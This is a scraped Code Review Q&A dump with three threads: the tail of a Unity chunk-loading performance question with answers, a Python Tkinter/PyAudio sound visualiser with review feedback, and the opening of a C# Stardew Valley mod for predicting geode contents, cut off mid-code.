} // Check for positions that chunks need to be loaded in to for (int x = -worldRadius; x &lt; worldRadius; x++) { for (int y = -worldRadius; y &lt; worldRadius; y++) { Vector2 chunkGridPosition = new Vector2(x + Mathf.FloorToInt(transform.position.x / chunkSize), y + Mathf.FloorToInt(transform.position.z / chunkSize)); if (!loadedChunks.ContainsValue(chunkGridPosition)) { float distFromCenter = Vector2.Distance(chunkGridPosition, new Vector2(Mathf.FloorToInt(transform.position.x / chunkSize), Mathf.FloorToInt(transform.position.z / chunkSize)));//Mathf.Sqrt(Mathf.Pow(Mathf.Abs(chunkGridPosition.x - Mathf.FloorToInt(transform.position.x / chunkSize)), 2) + Mathf.Pow(Mathf.Abs(chunkGridPosition.y - Mathf.FloorToInt(transform.position.z / chunkSize)), 2)); if (distFromCenter &lt; worldRadius) { // If a chunk isn't in a position in our render distance then load one from the unloaded list GameObject chunk = unloadedChunks.Dequeue(); chunk.transform.position = new Vector3(chunkGridPosition.x * chunkSize, 0, chunkGridPosition.y * chunkSize); chunk.GetComponent&lt;Chunk&gt;().Load(); loadedChunks.Add(chunk, chunkGridPosition); } } } } } </code></pre> <p>This works perfectly except it has a VERY slight spike and it's barely noticeable but it's there. (only really noticeable with high radius values) but I need a decently high radius value so the player can actually see the terrain around it. So I need your help to make this faster or just make a new infinite terrain system because I can see myself that this isn't really a good way of doing things especially with 3 lists constantly being modified EVEN if they are the correct list types for that job.</p> <p>Yes I have thought of threading this code but the issue is since this is unity its hard to keep track of things in a list and then access it to do something for example: <code>chunk.LoadChunk(position);</code> And I got it working but not completely and it was overall more messy because of unity's limitations and my poor threading skills. Not that this is any better but I definitely understand it more.</p> <p>Any help guys? Thanks!</p>
[]
[ { "body": "<p>The problem here might be that you are actualy searching all the world.</p>\n\n<p>If you model the world as a graph, where each node carries a <code>GameObject</code> and edges connect adjacent chunks, you can traverse chunks from player position outwards until you get out of range. </p>\n\n<p>Btw, you should use foreach instead of this:</p>\n\n<pre><code>for (int i = 0; i &lt; allChunks.Count; i++) allChunks[i];\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-12-18T22:23:55.323", "Id": "458227", "Score": "0", "body": "For loops are actually more efficient for Lists. Foreach is considered less efficient" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T12:58:27.627", "Id": "232011", "ParentId": "231927", "Score": "4" } }, { "body": "<p>Firstly, unless there is something you are not showing depending on the 'allChunks' list, I think that you could just remove it. Chunks appear to be either loaded or unloaded and all you will be doing is moving chunks between these two collections.</p>\n\n<p>The following line, jumps out at me as a possible slow operation:</p>\n\n<pre><code> loadedChunks.ContainsValue(chunkGridPosition)\n</code></pre>\n\n<p>Checking if a value is stored in a dictionary can be a slow operation, since dictionaries are optimized for checking for keys and accessing the stored values by keys. My main suggestion would be to update your dictionary to have the position as the key and gameobject as the value. </p>\n\n<p>This would change your logic from 'is this object loaded' to 'is there an object loaded at this coord'. This small change might help stop some of the extra work you were doing.</p>\n\n<p>I have another suggestion that might not help with performance, but could help with readability and reducing repeating code. Create a simple struct that stores coordinates of chunks and handles all related conversions. This will put all code in a single place to handle jumping between world positions and chunk coordinates. This would help reduce the amount of times you might have to use 'Mathf.FloorToInt()'. A simple implementation could look like the following:</p>\n\n<pre><code>public struct ChunkCoord {\n public const int ChunkSize = 10;\n public int X, Y;\n\n public ChunkCoord(int x, int y) {\n this.X = x; this.Y = y; \n }\n\n public static ChunkCoord FromWorld(Vector2 position) {\n return new ChunkCoord(\n (int)Math.Floor(position.X / ChunkSize),\n (int)Math.Floor(position.Y / ChunkSize)\n );\n }\n\n public Vector2 ToWorld() {\n return new Vector2(\n (float)(this.X * ChunkSize),\n (float)(this.Y * ChunkSize)\n );\n }\n\n public float DistToWorldPoint(Vector2 position) {\n return Vector2.Distance(position, this.ToWorld()); \n }\n}\n</code></pre>\n\n<p>By updating your collections and adding the ChunkCoords you could update your code to something similar to the following:</p>\n\n<pre><code>public class World {\n Queue&lt;Chunk&gt; availableChunks;\n Dictionary&lt;ChunkCoord, Chunk&gt; loadedChunks;\n\n public void UpdateWorld(Vector2 position, float radius) {\n // Loop through all available keys in the loaded chunks\n // and check if they are still in the visible radius\n foreach(var coord in this.loadedChunks.Keys) {\n if(coord.DistToWorldPoint(position) &gt;= radius) {\n var chunk = this.loadedChunks[coord];\n\n chunk.Unload();\n loadedChunks.Remove(coord);\n availableChunks.Enqueue(chunk);\n }\n }\n\n // Get the min and max values for visible coords.\n ChunkCoord minCoord = ChunkCoord.FromWorld(\n new Vector2(position.X - radius, position.Y - radius));\n ChunkCoord maxCoord = ChunkCoord.FromWorld(\n new Vector2(position.X + radius, position.Y + radius));\n\n // Loop through all visible coords and \n // load any chunks that need to be loaded.\n for(int x = minCoord.X; x &lt;= maxCoord.X; x++) {\n for(int y = minCoord.Y; y &lt;= maxCoord.Y; y++) {\n var coord = new ChunkCoord(x, y);\n // Check if the point is in the visable radius\n if (coord.DistToWorldPoint(position) &gt;= radius)\n continue;\n\n // Check if there is a chunk already loaded\n if (this.loadedChunks.ContainsKey(coord))\n continue;\n\n // Coord is visible and no chunk is loaded, load it.\n var chunk = this.GetAvailableChunk();\n chunk.Load(coord);\n this.loadedChunks[coord] = chunk;\n }\n }\n }\n\n public Chunk GetAvailableChunk() {\n if(this.availableChunks.Count &gt; 0) {\n return this.availableChunks.Dequeue();\n } else {\n // Handle creating a new chunk and return it here\n }\n }\n}\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-01-10T23:55:29.110", "Id": "235444", "ParentId": "231927", "Score": "3" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T01:47:10.647", "Id": "231927", "Score": "7", "Tags": [ "c#", "unity3d" ], "Title": "Finding a way to make this 2D loop faster?" }
231927
<p>The past week I have tinkered making a sound visualizer using Tkinter, Matplotlib, NumPy, PyAudio and using a thread to be able to play the sound and to display the plot at the same time.<br /> I have been coding Python now for almost two years and I think the program expresses my knowledge as to date.<br /> I would appreciate reviews to make suggestions on what could be done better, quicker or more Pythonic. This to lead me to the right path in further developing my skills.</p> <p>For a sample sound file you can download one at <a href="https://file-examples.com/index.php/sample-audio-files/sample-wav-download/" rel="nofollow noreferrer">file examples</a></p> <p>The code is a bit long (just under 500 lines of which more than two-thirds is for the Tkinter controls) but should just work by cut and paste as long as you have the modules for NumPy, Matplotlib, wave and PyAudio. Thanks!</p> <pre><code>import sys import time import threading import re import struct from tkinter import (Tk, TclError, Frame, Label, Button, Radiobutton, Scale, Entry, ttk, filedialog, IntVar) import wave import numpy as np from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg from matplotlib import pyplot as plt from matplotlib.animation import FuncAnimation import pyaudio DEFAULT_FREQUENCY = 223 # frequency in Hz DEFAULT_DURATION = 5.0 # length of sound stream in seconds INTERVAL = 100 # plot interval in millisecond PACKAGE_LENGTH = 1024 # number of samples in sound package VOLUME_RESOLUTION = 0.02 # resolution in volume scale (0 - 1) FILE_SEARCH = r'^([a-zA-Z]:)?([/|\\].+[/|\\])*(.+$)' PADY_OUTER = (2, 15) PADY_INNER_1 = (2, 4) PADY_INNER_2 = (0, 4) PADY_INNER_3 = (0, 10) class TkMplSetup: def __init__(self, root): self.root = root self.root.geometry('800x500') self.root.title(&quot;Sound Visualiser&quot;) self.root.columnconfigure(0, weight=1) self.volume = 0 self.duration = DEFAULT_DURATION self.running = False self.stopped = True self.error_message = '' self.plot_area() self.main_buttons() self.control_buttons() def plot_area(self): plot_frame = Frame(self.root) plot_frame.grid(row=0, column=0, sticky='nw') self.fig, self.ax = plt.subplots(figsize=(5, 4)) canvas = FigureCanvasTkAgg(self.fig, master=plot_frame) canvas.get_tk_widget().pack() def main_buttons(self): bottom_frame = Frame(self.root) bottom_frame.grid(row=1, column=0, rowspan=2, sticky='new') self.start_pause_button = Button( bottom_frame, text='Start', command=self.control_start_pause) self.start_pause_button.pack(side='left') self.stop_button = Button( bottom_frame, text='Stop', command=self.stop) self.stop_button.pack(side='left') self.quit_button = Button( bottom_frame, text='Quit', command=self.quit) self.quit_button.pack(side='left') def control_start_pause(self): if self.error_message: return if self.stopped: try: self.ax.lines.pop(0) except IndexError: pass if self.selected_type == 1: try: self.frequency = int(self.frequency_entry.get()) except ValueError: self.frequency = DEFAULT_FREQUENCY self.frequency_entry.insert(0, DEFAULT_FREQUENCY) except TclError: self.frequency = DEFAULT_FREQUENCY if self.selected_type in [1, 2]: try: self.duration = float(self.duration_entry.get()) except ValueError: self.duration = DEFAULT_DURATION self.duration_entry.insert(0, DEFAULT_DURATION) except TclError: self.duration = DEFAULT_DURATION # minus 1 is a correction to try to get the progress bar right, #under investigation self.time_progress['maximum'] = 1000 * (self.duration - 1.0) self.time_progress['value'] = 0 self.running = True self.stopped = False self.start_pause_button.config(text='Pause') self.start_visualisation() return if self.running: self.visualisation.event_source.stop() self.pause_start_time = time.time() self.start_pause_button.config(text='Run') else: self.pause_time += time.time() - self.pause_start_time self.visualisation.event_source.start() self.start_pause_button.config(text='Pause') self.running = not self.running def stop(self): try: self.visualisation.event_source.stop() except AttributeError: pass self.stopped = True def quit(self): # add the delays for the processes to stop orderly # not sure if really required self.stop() # self.audio.terminate() --&gt; adding this line seems to crash the exit self.root.after(1, self.root.destroy) time.sleep(1) sys.exit() def control_buttons(self): self.control_frame = Frame(self.root) self.control_frame.grid(row=0, column=1, sticky='nw') self.control_wave_type() self.control_sampling_rate() self.control_volume_time() self.r_type.set(1) self.select_type() def control_wave_type(self): type_outer_frame = Frame(self.control_frame, bd=1, relief='groove') type_outer_frame.grid(row=0, column=0, sticky='ew', pady=PADY_OUTER) self.r_type = IntVar() Label(type_outer_frame, text='Sound type').grid( row=0, column=0, stick='w', pady=PADY_INNER_1) modes = {'note': 1, 'design': 2, 'file': 3} for i, (key, val) in enumerate(modes.items()): Radiobutton(type_outer_frame, text=key, width=6, variable=self.r_type, value=val, command=self.select_type).grid( row=1, column=i, stick='w', pady=PADY_INNER_2) self.type_frame = Frame(type_outer_frame) self.type_frame.grid( row=2, column=0, columnspan=3, sticky='w', pady=PADY_INNER_3) def select_type(self): self.error_message = '' self.selected_type = self.r_type.get() if self.selected_type == 1: self.note_options() elif self.selected_type == 2: self.design_options() elif self.selected_type == 3: self.file_options() else: assert False, f'check selected_type invalid value {self.selected_type}' self.select_sampling_display() def note_options(self): for widget in self.type_frame.winfo_children(): widget.destroy() Label(self.type_frame, text='Frequency').pack(side='left') self.frequency_entry = Entry(self.type_frame, width=5) self.frequency_entry.insert(0, DEFAULT_FREQUENCY) self.frequency_entry.pack(side='left') Label(self.type_frame, text='Duration').pack(side='left') self.duration_entry = Entry(self.type_frame, width=5) self.duration_entry.insert(0, DEFAULT_DURATION) self.duration_entry.pack(side='left') def design_options(self): for widget in self.type_frame.winfo_children(): widget.destroy() Label(self.type_frame, text='Duration').pack(side='left') self.duration_entry = Entry(self.type_frame, width=5) self.duration_entry.insert(0, DEFAULT_DURATION) self.duration_entry.pack(side='left') def file_options(self): for widget in self.type_frame.winfo_children(): widget.destroy() sound_file = filedialog.askopenfile( title='Select sound file', filetypes=(('wav files', '*.wav'), ('all files', '*'))) try: file_name = 'Sound file: ' + re.search( FILE_SEARCH, sound_file.name).group(3) + ' ' except AttributeError: file_name = ' ' Label(self.type_frame, text=file_name).pack(anchor='w') if file_name: try: w = wave.open(sound_file.name) except (wave.Error, EOFError, AttributeError): self.error_message = 'Invalid wav file' Label(self.type_frame, text=self.error_message).pack(anchor='w') return frames = w.getnframes() channels = w.getnchannels() sample_width = w.getsampwidth() self.fs = w.getframerate() self.sound_byte_str = w.readframes(frames) self.duration = frames / self.fs * channels if sample_width == 1: self.fmt = f'{int(frames * channels)}B' else: self.fmt = f'{int(frames * channels)}h' print(f'frames: {frames}, channels: {channels}, ' f'sample width: {sample_width}, framerate: {self.fs}') def control_sampling_rate(self): sampling_outer_frame = Frame(self.control_frame, bd=1, relief='groove') sampling_outer_frame.grid( row=1, column=0, sticky='ew', pady=PADY_OUTER) Label(sampling_outer_frame, text='Sampling frequency').grid( row=0, column=0, stick='w', pady=PADY_INNER_1) self.sampling_frame = Frame(sampling_outer_frame) self.sampling_frame.grid(row=1, column=0, stick='w', pady=PADY_INNER_3) def select_sampling_display(self): if self.selected_type in [1, 2]: self.display_sampling_options() elif self.selected_type == 3: self.display_sampling_rate() else: assert False, f'control sampling rate for selected_type {self.selected_type}' def display_sampling_options(self): for widget in self.sampling_frame.winfo_children(): widget.destroy() self.r_fs = IntVar() self.r_fs.set(12) self.select_fs() modes = {'2048': 11, '4096': 12, '8192': 13, '16384': 14, '32768': 15} for i, (key, val) in enumerate(modes.items()): Radiobutton(self.sampling_frame, text=key, width=6, variable=self.r_fs, value=val, command=self.select_fs).grid( row=int(i / 3), column=(i % 3), sticky='w') def select_fs(self): self.fs = 2**self.r_fs.get() self.ax.set_xlim(1000 * PACKAGE_LENGTH / self.fs, 0) self.fig.canvas.draw() def display_sampling_rate(self): for widget in self.sampling_frame.winfo_children(): widget.destroy() Label(self.sampling_frame, text=f'Sampling rate: {self.fs} Hz').grid( row=0, column=0, stick='w') Label(self.sampling_frame, text=f'Duration: {self.duration:.1f} seconds').grid( row=1, column=0, stick='w') def control_volume_time(self): volume_outer_frame = Frame(self.control_frame, bd=1, relief='groove') volume_outer_frame.grid( row=2, column=0, sticky='ew', pady=PADY_OUTER) Label(volume_outer_frame, text='Volume').grid( row=0, column=0, stick='w', pady=PADY_INNER_1) volume_slider = Scale(volume_outer_frame, from_=0, to_=1, resolution=VOLUME_RESOLUTION, orient='horizontal', command=self.set_volume, showvalue=0, ) volume_slider.set(self.volume) volume_slider.grid(row=1, column=0, sticky='w', pady=PADY_INNER_3) Label(volume_outer_frame, text='Time').grid( row=0, column=1, stick='w', pady=PADY_INNER_1, padx=(20, 0)) self.time_progress = ttk.Progressbar(volume_outer_frame, orient='horizontal', length=100, mode='determinate' ) self.time_progress.grid( row=1, column=1, sticky='w', pady=PADY_INNER_3, padx=(20, 0)) def set_volume(self, value): self.volume = float(value) class SoundVisualiser(TkMplSetup): def __init__(self, root): super().__init__(root) self.audio = pyaudio.PyAudio() self.out = '' def generate_sound_stream(self): if self.selected_type == 1: self.sound_stream = ( (np.sin(2 * np.pi * self.frequency / self.fs * np.arange(self.fs * self.duration))).astype(np.float32) ).astype(np.float32) elif self.selected_type == 2: self.sound_stream = ( (0.5 * np.sin(2 * np.pi * 325 / self.fs * np.arange(self.fs * self.duration))) + (0.1 * np.sin(2 * np.pi * 330 / self.fs * np.arange(self.fs * self.duration))) + (0.5 * np.sin(2 * np.pi * 340 / self.fs * np.arange(self.fs * self.duration))) + 0 ).astype(np.float32) elif self.selected_type == 3: a = struct.unpack(self.fmt, self.sound_byte_str) a = [float(val) for val in a] self.sound_stream = np.array(a).astype(np.float32) scale_factor = max(abs(np.min(self.sound_stream)), abs(np.max(self.sound_stream))) self.sound_stream = self.sound_stream / scale_factor else: assert False, f'check selected_type invalid value {self.selected_type}' self.ax.set_xlim(1000 * PACKAGE_LENGTH / self.fs, 0) def callback(self, in_data, frame_count, time_info, status): self.out = self.sound_stream[:frame_count] self.sound_stream = self.sound_stream[frame_count:] return self.out*self.volume, pyaudio.paContinue def play_sound(self): self.stream = self.audio.open(format=pyaudio.paFloat32, channels=1, rate=self.fs, output=True, stream_callback=self.callback) self.stream.start_stream() # pause audio when self.running is False; close audio when stopped while self.stream.is_active(): if self.stopped: break while not self.running: if self.stopped: break if self.stream.is_active: self.stream.stop_stream() else: pass if self.running and not self.stream.is_active(): self.stream.start_stream() self.stream.stop_stream() self.stream.close() self.running = False self.stopped = True self.start_pause_button.config(text='Start') def update_frame(self, frame): samples = len(self.out) if samples == PACKAGE_LENGTH: self.line.set_data(self.xdata, self.out) elif samples &gt; 0: xdata = np.linspace(0, 1000 * samples / self.fs, samples) self.line.set_data(xdata, self.out) else: return elapsed_time = time.time() - self.start_time - self.pause_time self.time_progress['value'] = elapsed_time * 1000 return self.line, def start_visualisation(self): self.generate_sound_stream() self.xdata = np.linspace(0, 1000 * PACKAGE_LENGTH / self.fs, PACKAGE_LENGTH) self.ax.set_ylim(1.1 * np.min(self.sound_stream), 1.1 * np.max(self.sound_stream)) self.line, = self.ax.plot([], [], lw=2) duration_range = np.arange(0, self.duration, INTERVAL / 1000) self.start_time = time.time() self.pause_time = 0 self.visualisation = FuncAnimation(self.fig, self.update_frame, frames=duration_range, interval=INTERVAL, repeat=False) # start audio deamon in a seperate thread as otherwise audio and # plot will not be at the same time x = threading.Thread(target=self.play_sound) x.daemon = True x.start() self.root.after(1, self.fig.canvas.draw()) def main(): root = Tk() SoundVisualiser(root) root.mainloop() if __name__ == '__main__': main() </code></pre> <p><a href="https://i.stack.imgur.com/tKBVB.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/tKBVB.png" alt="enter image description here" /></a></p> <p><a href="https://user-images.githubusercontent.com/25360487/119152865-c08d1e80-ba61-11eb-9ecc-419664b59b1c.mp4" rel="nofollow noreferrer">Sound visualiser</a></p>
[]
[ { "body": "<p>Nice.</p>\n\n<p>Here are some observations:</p>\n\n<h2>consider using an <code>IntEnum</code>:</h2>\n\n<p>This helps remove \"magic\" numbers from the source code. (A year from now, will you remember that <code>if self.selected_type == 3</code> is a check to see if the mode is 'File'?)</p>\n\n<pre><code>from enum import auto, IntEnum\n\nclass SoundType(IntEnum):\n NOTE = auto()\n DESIGN = auto()\n FILE = auto()\n</code></pre>\n\n<p>Then later use:</p>\n\n<pre><code>for column, mode in enumerate(SoundType):\n Radiobutton(type_outer_frame,\n text=mode.name.lower(),\n width=6,\n variable=self.r_type,\n value=mode.value,\n command=self.select_type\n ).grid(\n row=1, column=column, stick='w', pady=PADY_INNER_2)\n</code></pre>\n\n<p>or:</p>\n\n<pre><code>if self.selected_type in (SoundType.NOTE, SoundType.DESIGNS):\n self.display_sampling_options()\n</code></pre>\n\n<h2>Use <code>pathlib</code> to get the filename</h2>\n\n<pre><code>from pathlib import Path\n\n\nsound_file = filedialog.askopenfile(\n title='Select sound file',\n filetypes=(('wav files', '*.wav'), ('all files', '*')))\n\nfile_name = Path(sound_file.name).name\n</code></pre>\n\n<h2>document</h2>\n\n<p>I would document why you are ignoring an exception</p>\n\n<pre><code>def stop(self):\n try:\n self.visualisation.event_source.stop()\n\n except AttributeError:\n # this exception can be ignored because ...\n pass\n\n self.stopped = True\n</code></pre>\n\n<h2>assert False, f'..message..'</h2>\n\n<p>I've not seen this used before, and it seems odd to me. I guess it makes sure you don't forget to add an <code>elif</code> block if you add a new mode, but let's you turn off the assertion. I think I'd just raise RuntimeError or maybe NotImplementedError.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T07:01:54.060", "Id": "452617", "Score": "0", "body": "This is indeed an improper use of `assert`. The entire `select_type` could be written clearer, but my experience with `tkinter` is insufficient to see what the best method would be. Perhaps by letting all buttons write to the same variable, check its value to an enum or dictionary and map an action to it in there. Wrap in a try/catch, if it unsuccessfully resolves there's a bug and the program should probably terminate." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T07:21:02.257", "Id": "452618", "Score": "0", "body": "@RootTwo, thank for the feedback, especially IntNum and pathlib are useful. The intent of the asserts is to capture the event something is selected not covered in the elif's. Should I just do else: raise RuntimeError or NotImplementedError?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T14:35:36.863", "Id": "452697", "Score": "0", "body": "@BrunoVermeulen, `select_type` is only set by the buttons. So, the else-clause should never get run unless something is seriously broken. If this code is for personal use I would just raise a Runtime error. If it is shared, I would log the error and try to recover (set `select_type` to an allowed value)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T08:30:12.630", "Id": "452770", "Score": "0", "body": "@BrunoVermeulen Note also that assert is only for development use. For example when code is compiled for performance, the assert statements get ignored ([see also](https://stackoverflow.com/a/3721186/9726179))." } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T06:46:48.997", "Id": "231939", "ParentId": "231930", "Score": "7" } }, { "body": "<p>In addition to what RootTwo already mentioned, I would also advise to:</p>\n\n<h1>Define all class attributes in <code>__init__</code></h1>\n\n<p>When I want to understand a new class, the first things that I look at are its methods and its attributes. These are luckily already <strong>well-named</strong>, so I get an intuitive understanding of what they mean.</p>\n\n<p>However, your attributes are <strong>spread out</strong> over your class. I need to read through all the code to even see how many attributes there are. This problem will also be picked up by some linters, as discussed in <a href=\"https://stackoverflow.com/questions/19284857/instance-attribute-attribute-name-defined-outside-init#19292653\">this post</a>. \nThe answers already suggest two solutions (<em>slightly adapted here)</em>:</p>\n\n<blockquote>\n <p>You may still want to split initialization into other methods though. In such case, you can simply assign attributes to None (with a bit of documentation) in the <strong>init</strong> then call the sub-initialization methods.</p>\n</blockquote>\n\n<p>or</p>\n\n<blockquote>\n <p>Just return an value(or tuple of values) and unpack into attributes inside <strong>init</strong> as needed.</p>\n</blockquote>\n\n<p>Whatever you use is up to you, but personally I prefer the second option, since that makes it more obvious when reading the <code>__init__</code> that a value is set (to follow <a href=\"https://en.wikipedia.org/wiki/Principle_of_least_astonishment\" rel=\"nofollow noreferrer\">POSA</a>).</p>\n\n<p>In this case, you might argue that this requires a large amount of typing and variable assignments. However, this leads me to the second point:</p>\n\n<h1>Try to refactor some attributes</h1>\n\n<p>You have a very large number of attributes, of which a lot seem closely related. This is more natural when dealing with GUI stuff, but I would still try to organize some of them in data structures such as:</p>\n\n<ul>\n<li>Dictionaries</li>\n<li><a href=\"https://docs.python.org/3.8/library/dataclasses.html\" rel=\"nofollow noreferrer\">Dataclasses</a> (if your version of Python allows it)</li>\n</ul>\n\n<p>This will also make it much easier to reuse and update portions of your code, since it exactly defines what should minimally be initialized.</p>\n\n<hr>\n\n<h2>Side Note:</h2>\n\n<p>Defining all variables in <code>__init__</code> might feel as boilerplate code. In some situations using the <a href=\"https://www.attrs.org/en/stable/\" rel=\"nofollow noreferrer\">attrs</a> package can reduce this work. It also comes with some nice benefits such as providing a nice automated string <code>repr</code> and comparison methods for your classes.</p>\n\n<p>I'm not sure if it is perfect for this situation, but I find it a handy tool to know about, that can make some classes a lot clearer.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T13:52:51.003", "Id": "452814", "Score": "0", "body": "Thanks for your input. So that means I have to declare anything that has a `self.` in front in the `__init__`, like buttons. frames, labels, variable names? I am not to sure about the return of a tuple method. I should be able to work on Dataclasses as I am currently on python 3.7.4" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T14:34:37.600", "Id": "452819", "Score": "0", "body": "@BrunoVermeulen Yes, that's the general convention. Tbh, in some situations, you can stray from that pattern, but since this is Code Review, I wanted to mention it. I also added a small side note about the attrs package, which can make that a bit easier. \nYeah, returning a tuple doesn't necessarily make sense, that was copied from somewhere else. I have changed it." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T10:18:36.707", "Id": "232006", "ParentId": "231930", "Score": "3" } } ]
{ "AcceptedAnswerId": "231939", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T03:17:41.817", "Id": "231930", "Score": "13", "Tags": [ "python", "tkinter", "audio", "matplotlib" ], "Title": "Python Sound visualizer" }
231930
<h2>The goal</h2> <p>I really enjoy the game <a href="https://www.stardewvalley.net/" rel="noreferrer">Stardew Valley</a>. One of the things that the game has are <a href="https://stardewvalleywiki.com/Minerals#Geodes" rel="noreferrer">geodes</a>. Much like real-world geodes, these geodes can be cracked open, and you can find some fun things inside.</p> <p>Some relatively rare/valuable items can be found inside of them, so it can be beneficial to try and collect them to get the items inside. You may also want to know when you'll get the things you're looking for to help plan/prioritize; if you're going to get it 5 geodes from now then it might be worth searching for them exclusively, while if you're going to get it 100 geodes from now then you might want to do it on the side.</p> <p>The way that the contents of a geode are determined is based on a predictable random seed, that consists of a unique game ID (I don't touch this at all right now) and the number of geodes that have already been opened. By changing the value the game has for the number of opened geodes, you can then use the same algorithm the game uses to determine what the Nth geode will return. Throughout this post/the code, I generally use the term <code>index</code> to refer to the Nth geode, and the term <code>distance</code> to mean N geodes from now.</p> <p>There already exist <a href="https://mouseypounds.github.io/stardew-predictor" rel="noreferrer">tools</a> to predict when you'll get certain items from a geode. Click <a href="https://mouseypounds.github.io/stardew-predictor/?id=200964344" rel="noreferrer">here</a> to see what one of my current games is going to return.</p> <p>I don't like having to leave the game, however, as I find that it breaks immersion (and having to upload my save file is tedious). Instead, I wanted to make a mod using the Stardew Modding API, or <a href="https://smapi.io/" rel="noreferrer">SMAPI</a>.</p> <p>SMAPI provides a lot of open-source tools for working with and manipulating games, and is the standard for Stardew Valley mods.</p> <h2>Options</h2> <p>When deciding on approach, I basically had two choices:</p> <ol> <li>Duplicate the logic the game uses (this is what the existing tools do)</li> <li>Directly call the method that the game uses</li> </ol> <p>I don't love option 1; if I mess something up, or the game changes, then my mod won't work either. Option 2 has similar vulnerabilities if the method to use changes, but I'm less vulnerable to changes inside the method itself. Ultimately I decided that I'd rather do option 2. This is the basis for the code below.</p> <h2>Things I want out of this review</h2> <p>Before I throw a bunch of code and decisions out at you, I'm particularly interested in answers to the following:</p> <ol> <li>How is my abstraction? There are a few places things are leaking a bit (I call these out below), but for the most part I feel pretty good about it. Please let me know where I'm wrong.</li> <li>Does the way I've broken things up into logical units make sense? Are there smarter or cleaner interfaces I could be using?</li> <li>C# is a language I use less than I'd like, and I know that I'm no expert. How idiomatic is the code?</li> </ol> <p>Of course, please feel free to comment on any aspects of the code.</p> <h2>Abstraction</h2> <p>When implementing this, I made a conscious choice to abstract away the Stardew Valley game itself as much as I could. I did this because I want to be able to write unit tests that do not rely on a game currently running, and because it should make me more flexible if, in the future, I wanted to implement option 1, or if I wanted to be compatible with other mods that change what kinds of geodes exist in the game.</p> <p>Quick note - for brevity I combined some things into single code blocks; every class/interface is in a distinct, appropriately named file.</p> <h3>Abstracting the game itself</h3> <p>If you read the code of a lot of mods, you'll find that a lot of them refer to <code>Game1</code>. This is the class that holds a metric ton of game logic and properties, most of them exposed via static fields. As such, you would see code that looks like <code>var geodeCount = Game1.stats.GeodesCracked</code>. This, pretty obviously, violates my goal of being able to abstract away an actual running game. To that end, I made this interface, and an implementation of the interface:</p> <pre><code>using StardewModdingAPI; using System; namespace Dannnno.StardewMods.Predictor.Shared { public interface IStardewGame { #region Properties /// &lt;summary&gt; /// Get the number of geodes that have already been cracked by the player /// &lt;/summary&gt; [StardewManagedProperty] public uint GeodeCount { get; set; } #endregion #region Methods /// &lt;summary&gt; /// Create a context in which changes to game state are rolled back at the end of /// &lt;/summary&gt; /// &lt;param name="monitor"&gt;The monitor to which we should be logging messages, if that is desired&lt;/param&gt; /// &lt;returns&gt;Disposable context manager&lt;/returns&gt; public IDisposable WithTemporaryChanges(IMonitor monitor = null); #endregion } /// &lt;summary&gt; /// Encapsulates StardewValley's Game1 /// &lt;/summary&gt; public class StardewGameWrapper : IStardewGame { /// &lt;summary&gt; /// Get the number of geodes that have already been cracked by the player /// &lt;/summary&gt; [StardewManagedProperty] public uint GeodeCount { get { return Game1.stats.GeodesCracked; } set { Game1.stats.GeodesCracked = value; } } /// &lt;summary&gt; /// Create a context in which changes to game state are rolled back at the end of /// &lt;/summary&gt; /// &lt;param name="monitor"&gt;The monitor to which we should be logging messages, if that is desired&lt;/param&gt; /// &lt;returns&gt;Disposable context manager&lt;/returns&gt; public IDisposable WithTemporaryChanges(IMonitor monitor = null) { return new GameStateContextManager(this, monitor); } } } </code></pre> <p>Don't worry about the GameStateContextManager<code>or</code>StardewManagedProperty` for now; I'll come back to this later. Ultimately, what I want is:</p> <ol> <li>A way to get the current number of geodes that have been cracked in the game</li> <li>A way to modify that value, temporarily.</li> </ol> <h3>Abstracting away general data</h3> <p>Mod compatibility is pretty important in the Stardew Valley modding community. If someone thinks that 4 varieties of geodes isn't enough, or they want to be able to find other things in them, I don't want my mod to preclude that. While I haven't yet reached that goal, I do want to make sure I can extend this in the future to be more compatible. This means that the way I retrieve objects in the game needs to be abstract. When I say object, I mean <code>StardewValley.Object</code>, not the C# <code>object</code>. These objects are generally created based on xnb metadata files, but can also be modified by mods.</p> <p>To retrieve the list of objects that this game has, I created the following:</p> <pre><code>using System.Collections.Generic; using StardewModdingAPI; namespace Dannnno.StardewMods.Predictor.Shared { /// &lt;summary&gt; /// Standard interface by which to get stardew valley objects /// &lt;/summary&gt; public interface IStardewObjectProvider { /// &lt;summary&gt; /// Get the raw stardew objects, from key to delimited string /// &lt;/summary&gt; /// &lt;returns&gt;Mapping from stardew object IDs to raw strings&lt;/returns&gt; public IDictionary&lt;int, string&gt; GetStardewRawObjects(); /// &lt;summary&gt; /// Get stardew objects in stardew format /// &lt;/summary&gt; /// &lt;returns&gt;Collection of stardew objects&lt;/returns&gt; public IEnumerable&lt;StardewValley.Object&gt; GetStardewObjects(); } /// &lt;summary&gt; /// Standard data provider that pulls form the Data/ObjectInformation file /// &lt;/summary&gt; public class StardewDataObjectInfoProvider : IStardewObjectProvider { /// &lt;summary&gt; /// Get the SMAPI helper that can retrieve the xnb content /// &lt;/summary&gt; public IModHelper Helper { get; set; } /// &lt;summary&gt; /// Create the data provider /// &lt;/summary&gt; /// &lt;param name="helper"&gt;With a little help from our friends at SMAPI&lt;/param&gt; public StardewDataObjectInfoProvider(IModHelper helper) { Helper = helper; 